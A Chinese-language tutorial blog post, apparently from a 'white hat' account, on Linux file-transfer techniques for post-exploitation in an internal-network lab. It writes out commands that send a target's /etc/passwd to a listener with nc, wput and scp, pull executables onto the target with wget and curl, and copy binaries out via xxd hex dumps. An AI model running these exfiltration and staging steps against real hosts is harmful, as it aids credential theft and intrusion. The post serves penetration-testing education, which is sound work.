前天我们说了Windows下的内网传输技术:
今天再来看看Linux下的内网传输吧~
Part.1
Wput/Wget
Wput
Wput是一款linux环境下用于向ftp服务器上传的工具。
首先,我们在本地搭建一个ftp服务器,如3CDaemon:
创建一个用户monster/a123456:
例如把靶机的/etc/passwd文件上传至ftp服务器:
wput ./passwd ftp://monster:a123456@192.168.3.1
在ftp服务器中可以找到该文件:
Wget
Wput用于上传,Wget则用于下载。
Wget支持HTTP,HTTPS,FTP协议进行文件下载。例如使用靶机下载hash.exe:
wget --ftp-user=username --ftp-password=password ftp://192.168.3.1/hash.exe
通过http的方法进行文件下载,先在本地开启http服务:
靶机下载文件:
wget http://192.168.3.1/editor.exe
Part.2
Curl
Curl
我们之前还讲过一期curl工具:
也可以利用该工具进行http下载:
curl –O http://192.168.3.1/editor.exe
Part.3
NC
NC
NETCAT是kali中自带的一款功能强大的工具,我们可以通过它来文件传输。
例如传输靶机的passwd文件。
首先在本地开启监听,并将接收的内容保存为test.txt:
nc -nvv -lp 4444 > test.txt
靶机如果没有nc,可以先通过以下命令安装:
在靶机将目标文件传至kali:
nc 192.168.3.144 4444 < /etc/passwd
传输完毕后在kali中可以找到该文件:
关于nc的其他操作,之前也写过一期。
有兴趣的小伙伴可以看看:
Part.4
xxd
xxd
xxd工具的作用是将一个文件以十六进制的形式显示出来。
我们可以利用该方法将靶机中的可执行文件“复制”出来。如显示hash.exe
xxd hash.exe
将以上内容复制出来,在本地造一个一模一样的文本:
去掉左右多余的内容:
替换掉空格、换行符:
打开一个十六进制编辑器导入以上内容,如010editor:
另存为hash.exe并打开,程序可以正常运行:
//成功~
当然除了xxd工具,其他如hexdump也可以达到相同的效果:
hexdump -C hash.exe
Part.5
SCP
scp
Scp通过ssh进行数据传输,如果知道用户名和密码,也可以通过它来进行文件传输。例如,从本地复制文件到远程:
scp /etc/passwd root@192.168.3.146:/root/Desktop/password
在对端服务器可以看到传输的文件:
从对端服务器下载文件:
scp root@192.168.3.146:/root/Desktop/payload.txt /root/payload.txt
如果出现如下报错:
Theauthenticity of host 192.168.0.xxx can't be established.
可以先按以下方法进行操作:
ssh -o StrictHostKeyChecking=no 192.168.3.146
Part.6
结语
好啦,以上就是今天的全部内容了~
当然方法远不如此,如果对端是一个web服务器,你甚至可以把文件上传至web目录当中,直接访问下载。
如果有问题,欢迎到公众号一名白帽的成长史留言~
Peace!